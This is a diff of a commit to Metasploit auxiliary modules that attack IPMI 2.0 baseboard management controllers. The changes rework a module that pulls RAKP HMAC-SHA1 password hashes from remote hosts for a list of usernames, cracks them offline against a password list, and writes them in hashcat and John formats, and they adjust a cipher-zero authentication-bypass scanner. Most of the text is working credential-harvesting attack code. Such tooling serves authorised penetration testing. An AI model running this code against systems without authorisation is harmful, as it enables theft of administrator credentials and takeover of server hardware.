Rework to reduce open fds, remove bugs, handle null user

unstable
HD Moore 2013-06-30 15:32:33 -05:00
parent 6b3178a67b
commit cca071ff55
3 changed files with 83 additions and 100 deletions

View File

@ -71,9 +71,10 @@ class Metasploit3 < Msf::Auxiliary
:host => shost, :host => shost,
:port => datastore['RPORT'].to_i, :port => datastore['RPORT'].to_i,
:proto => 'udp', :proto => 'udp',
:name => 'ipmi', :sname => 'ipmi',
:name => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass',
:info => "Accepted a session open request for cipher zero", :info => "Accepted a session open request for cipher zero",
:refs => self.references, :refs => self.references
) )
else else
vprint_status("#{shost}:#{sport} NOT VULNERABLE: Rejected cipher zero with error code #{info.error_code}") vprint_status("#{shost}:#{sport} NOT VULNERABLE: Rejected cipher zero with error code #{info.error_code}")

View File

@ -52,31 +52,34 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("Sending IPMI probes to #{ip}") vprint_status("Sending IPMI probes to #{ip}")
usernames = []
passwords = []
# Load up our username list (save on open fds)
::File.open(datastore['USER_FILE'], "rb") do |fd|
fd.each_line do |line|
usernames << line.strip
end
end
usernames << ""
usernames = usernames.uniq
# Load up our password list (save on open fds)
::File.open(datastore['PASS_FILE'], "rb") do |fd|
fd.each_line do |line|
passwords << line.gsub(/\r?\n?/, '')
end
end
passwords << ""
passwords = passwords.uniq
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}}) self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
add_socket(self.udp_sock) add_socket(self.udp_sock)
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_getchannel_probe)
r = udp_recv(5.0)
unless r reported_vuln = false
vprint_status("#{rhost} No response to IPMI probe")
return
end
info = process_getchannel_reply(*r)
unless info
vprint_status("#{rhost} Could not understand the response to the IPMI probe")
return
end
unless info.ipmi_compat_20 == 1
vprint_status("#{rhost} Does not support IPMI 2.0")
return
end
fd = ::File.open(datastore['USER_FILE'], "rb")
fd.each_line do |line|
username = line.strip
usernames.each do |username|
console_session_id = Rex::Text.rand_text(4) console_session_id = Rex::Text.rand_text(4)
console_random_id = Rex::Text.rand_text(16) console_random_id = Rex::Text.rand_text(16)
@ -168,16 +171,15 @@ class Metasploit3 < Msf::Auxiliary
sha1_salt = hmac_buffer.unpack("H*")[0] sha1_salt = hmac_buffer.unpack("H*")[0]
sha1_hash = rakp.hmac_sha1.unpack("H*")[0] sha1_hash = rakp.hmac_sha1.unpack("H*")[0]
if sha1_hash == "\x00" * 20
vprint_error("#{rhost} Returned a bogus SHA1 hash for username #{username}")
next
end
found = "#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}" found = "#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}"
print_good(found) print_good(found)
# Write the rakp hash to the output files write_output_files(rhost, username, sha1_salt, sha1_hash)
if @output_cat
@output_cat.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
end
if @output_jtr
@output_jtr.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
end
# Write the rakp hash to the database # Write the rakp hash to the database
report_auth_info( report_auth_info(
@ -192,64 +194,46 @@ class Metasploit3 < Msf::Auxiliary
:type => 'rakp_hmac_sha1_hash' :type => 'rakp_hmac_sha1_hash'
) )
# Write the vulnerability to the database
unless reported_vuln
report_vuln(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
:refs => self.references
)
reported_vuln = true
end
# Offline crack common passwords and report clear-text credentials # Offline crack common passwords and report clear-text credentials
next unless datastore['CRACK_COMMON'] next unless datastore['CRACK_COMMON']
::File.open(datastore['PASS_FILE'], "rb") do |pfd| passwords.uniq.each do |pass|
passwords = pfd.read(pfd.stat.size).split("\n") pass = pass.strip
passwords << "" next unless pass.length > 0
passwords.uniq.each do |pass| next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp.hmac_sha1, pass)
pass = pass.strip print_good("#{rhost} Hash for user '#{username}' matches password '#{pass}'")
next unless pass.length > 0
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp.hmac_sha1, pass)
print_good("#{rhost} Hash for user '#{username}' matches password '#{pass}'")
# Report the clear-text credential to the database # Report the clear-text credential to the database
report_auth_info( report_auth_info(
:host => rhost, :host => rhost,
:port => rport, :port => rport,
:proto => 'udp', :proto => 'udp',
:sname => 'ipmi', :sname => 'ipmi',
:user => username, :user => username,
:pass => pass, :pass => pass,
:source_type => "cracked", :source_type => "cracked",
:active => true, :active => true,
:type => 'password' :type => 'password'
) )
break break
end
end end
end end
end end
def process_getchannel_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::Channel_Auth_Reply.new(data) rescue nil
# Ignore invalid responses
return if not info
return if not info.ipmi_command == 56
banner = info.to_banner
print_status("#{shost} #{banner}")
report_service(
:host => rhost,
:port => rport,
:proto => 'udp',
:name => 'ipmi',
:info => banner
)
# TODO:
# Report a vulnerablity if info.ipmi_user_anonymous has been set
# Report a vulnerability if ipmi 2.0 and kg is set to default
# Report a vulnerability if info.ipmi_user_null has been set (null username)
info
end
def process_opensession_reply(data, shost, sport) def process_opensession_reply(data, shost, sport)
shost = shost.sub(/^::ffff:/, '') shost = shost.sub(/^::ffff:/, '')
info = Rex::Proto::IPMI::Open_Session_Reply.new(data) rescue nil info = Rex::Proto::IPMI::Open_Session_Reply.new(data) rescue nil
@ -266,24 +250,21 @@ class Metasploit3 < Msf::Auxiliary
info info
end end
def setup
super
@output_cat = nil
@output_jtr = nil
if datastore['OUTPUT_HASHCAT_FILE']
@output_cat = ::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab")
end
if datastore['OUTPUT_JOHN_FILE']
@output_jtr = ::File.open(datastore['OUTPUT_JOHN_FILE'], "ab")
end
end
def cleanup def write_output_files(rhost, username, sha1_salt, sha1_hash)
super if datastore['OUTPUT_HASHCAT_FILE']
@output_cat.close if @output_cat ::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
@output_cat = nil fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
@output_jtr.close if @output_jtr fd.flush
@output_jtr = nil end
end
if datastore['OUTPUT_JOHN_FILE']
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
fd.flush
end
end
end end
# #

View File

@ -66,9 +66,10 @@ class Metasploit3 < Msf::Auxiliary
:info => banner :info => banner
) )
# Report a vulnerablity if info.ipmi_user_anonymous has been set # Potential improvements:
# Report a vulnerability if ipmi 2.0 and kg is set to default # - Report a vulnerablity if info.ipmi_user_anonymous has been set
# Report a vulnerability if info.ipmi_user_null has been set (null username) # - Report a vulnerability if ipmi 2.0 and kg is set to default (almost always the case)
# - Report a vulnerability if info.ipmi_user_null has been set (null username)
end end